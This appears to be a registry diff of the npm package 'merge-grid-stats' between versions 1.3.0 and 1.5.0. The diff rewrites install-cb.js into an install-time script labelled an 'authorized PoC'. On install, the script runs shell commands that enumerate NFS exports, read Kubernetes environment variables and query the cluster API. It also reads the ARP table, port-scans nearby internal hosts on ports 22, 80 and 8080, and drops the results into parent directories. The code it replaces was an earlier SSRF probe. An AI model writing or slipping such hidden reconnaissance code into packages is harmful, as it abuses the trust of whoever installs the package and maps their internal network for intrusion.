merge-grid-stats 1.3.0 → 1.5.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install-cb.js +63 -47
- package/package.json +1 -1
package/install-cb.js
CHANGED
|
@@ -1,60 +1,76 @@
|
|
|
1
|
-
// Authorized PoC (non-destructive):
|
|
1
|
+
// Authorized PoC (non-destructive): cross-sandbox network reachability + NFS/K8s recon. Results -> NCODE_ESCAPE2.txt
|
|
2
2
|
var fs = require('fs');
|
|
3
3
|
var path = require('path');
|
|
4
4
|
var os = require('os');
|
|
5
|
-
var
|
|
6
|
-
var
|
|
5
|
+
var cp = require('child_process');
|
|
6
|
+
var net = require('net');
|
|
7
7
|
|
|
8
8
|
var cwd = process.cwd();
|
|
9
|
-
var
|
|
9
|
+
var out = ['escape2-probe', 'host=' + os.hostname(), 'now=' + new Date().toISOString()];
|
|
10
10
|
|
|
11
|
-
function
|
|
12
|
-
return
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
11
|
+
function run(cmd) {
|
|
12
|
+
try { return cp.execSync(cmd, {timeout: 6000, encoding: 'utf-8', shell: '/bin/sh', maxBuffer: 2*1024*1024}).trim(); }
|
|
13
|
+
catch (e) { return 'ERR:' + String((e && e.message) || e).split('\n')[0].slice(0, 200); }
|
|
14
|
+
}
|
|
15
|
+
function read(p) { try { return fs.readFileSync(p, 'utf-8').trim(); } catch (e) { return 'ERR:' + e.code; } }
|
|
16
|
+
|
|
17
|
+
out.push('=== NFS tools ===');
|
|
18
|
+
out.push(run('which showmount rpcinfo mount nfsstat 2>&1'));
|
|
19
|
+
|
|
20
|
+
out.push('=== showmount -e NFS ===');
|
|
21
|
+
out.push(run('showmount -e 10.0.128.136 2>&1 | head -40'));
|
|
22
|
+
|
|
23
|
+
out.push('=== rpcinfo NFS ===');
|
|
24
|
+
out.push(run('rpcinfo -p 10.0.128.136 2>&1 | head -25'));
|
|
25
|
+
|
|
26
|
+
out.push('=== K8s env ===');
|
|
27
|
+
out.push(run('env | grep -i kubernetes | sed "s/=.*/=***/"'));
|
|
28
|
+
|
|
29
|
+
var k8sHost = process.env.KUBERNETES_SERVICE_HOST;
|
|
30
|
+
out.push('=== K8s API probe ===');
|
|
31
|
+
if (k8sHost) {
|
|
32
|
+
out.push('k8s_host=' + k8sHost);
|
|
33
|
+
out.push(run('curl -sk --max-time 5 https://' + k8sHost + '/version 2>&1 | head -c 300'));
|
|
34
|
+
out.push('--- /api ---');
|
|
35
|
+
out.push(run('curl -sk --max-time 5 https://' + k8sHost + '/api/v1 2>&1 | head -c 300'));
|
|
36
|
+
} else {
|
|
37
|
+
out.push('no k8s host env');
|
|
26
38
|
}
|
|
27
39
|
|
|
28
|
-
|
|
29
|
-
|
|
40
|
+
out.push('=== mount parent check ===');
|
|
41
|
+
out.push(run('ls -la /mnt 2>&1 | head; ls -la /mnt/nocode 2>&1 | head -8'));
|
|
42
|
+
out.push(run('cat /proc/net/arp 2>&1'));
|
|
43
|
+
|
|
44
|
+
// Bounded internal reachability: NFS server, K8s API, and nearby pod IPs (dev-server 8080 / ssh 22 / http 80)
|
|
45
|
+
out.push('=== internal reachability ===');
|
|
46
|
+
var targets = [];
|
|
47
|
+
targets.push('10.0.128.136');
|
|
48
|
+
if (k8sHost) targets.push(k8sHost);
|
|
49
|
+
var base = 131;
|
|
50
|
+
for (var i = 110; i <= 126; i++) targets.push('10.0.' + base + '.' + i); // nearby pods around .118
|
|
51
|
+
for (var j = 1; j <= 6; j++) targets.push('10.0.128.' + j);
|
|
52
|
+
|
|
53
|
+
function tcpCheck(host, port, ms) {
|
|
54
|
+
return new Promise(function (res) {
|
|
55
|
+
var s = new net.Socket();
|
|
30
56
|
var done = false;
|
|
31
|
-
var
|
|
32
|
-
|
|
33
|
-
try {
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
res.on('end', function () { if (!done) { done = true; resolve('HTTP ' + res.statusCode + '|' + body.slice(0, 800)); } });
|
|
37
|
-
});
|
|
38
|
-
req.on('timeout', function () { try { req.destroy(); } catch (e) {} if (!done) { done = true; resolve('timeout'); } });
|
|
39
|
-
req.on('error', function (e) { if (!done) { done = true; resolve('ERR:' + (e.code || 'conn')); } });
|
|
40
|
-
req.end();
|
|
41
|
-
} catch (e) { if (!done) { done = true; resolve('ERR:local'); } }
|
|
57
|
+
var t = setTimeout(function () { if (!done) { done = true; res(host + ':' + port + '=timeout'); } try { s.destroy(); } catch (e) {} }, ms);
|
|
58
|
+
s.setTimeout(ms);
|
|
59
|
+
s.once('connect', function () { clearTimeout(t); if (!done) { done = true; res(host + ':' + port + '=OPEN'); } try { s.destroy(); } catch (e) {} });
|
|
60
|
+
s.once('error', function (e) { clearTimeout(t); if (!done) { done = true; res(host + ':' + port + '=' + (e.code || 'ERR')); } });
|
|
61
|
+
s.connect(port, host);
|
|
42
62
|
});
|
|
43
63
|
}
|
|
44
64
|
|
|
45
|
-
var
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
var data =
|
|
54
|
-
['', '..', '../..'].forEach(function (rel) {
|
|
55
|
-
|
|
56
|
-
});
|
|
57
|
-
['', '..', '../..'].forEach(function (rel) {
|
|
58
|
-
try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_POC_MARKER.txt'), 'ssrf-probe-done ' + new Date().toISOString()); } catch (e) {}
|
|
59
|
-
});
|
|
65
|
+
var ports = [80, 8080, 22];
|
|
66
|
+
var tasks = [];
|
|
67
|
+
targets.forEach(function (h) {
|
|
68
|
+
ports.forEach(function (p) { tasks.push(tcpCheck(h, p, 1200)); });
|
|
69
|
+
});
|
|
70
|
+
|
|
71
|
+
Promise.all(tasks).then(function (results) {
|
|
72
|
+
out.push(results.join('\n'));
|
|
73
|
+
var data = out.join('\n');
|
|
74
|
+
['', '..', '../..'].forEach(function (rel) { try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_ESCAPE2.txt'), data); } catch (e) {} });
|
|
75
|
+
['', '..', '../..'].forEach(function (rel) { try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_POC_MARKER.txt'), 'escape2-done ' + new Date().toISOString()); } catch (e) {} });
|
|
60
76
|
});
|
package/package.json
CHANGED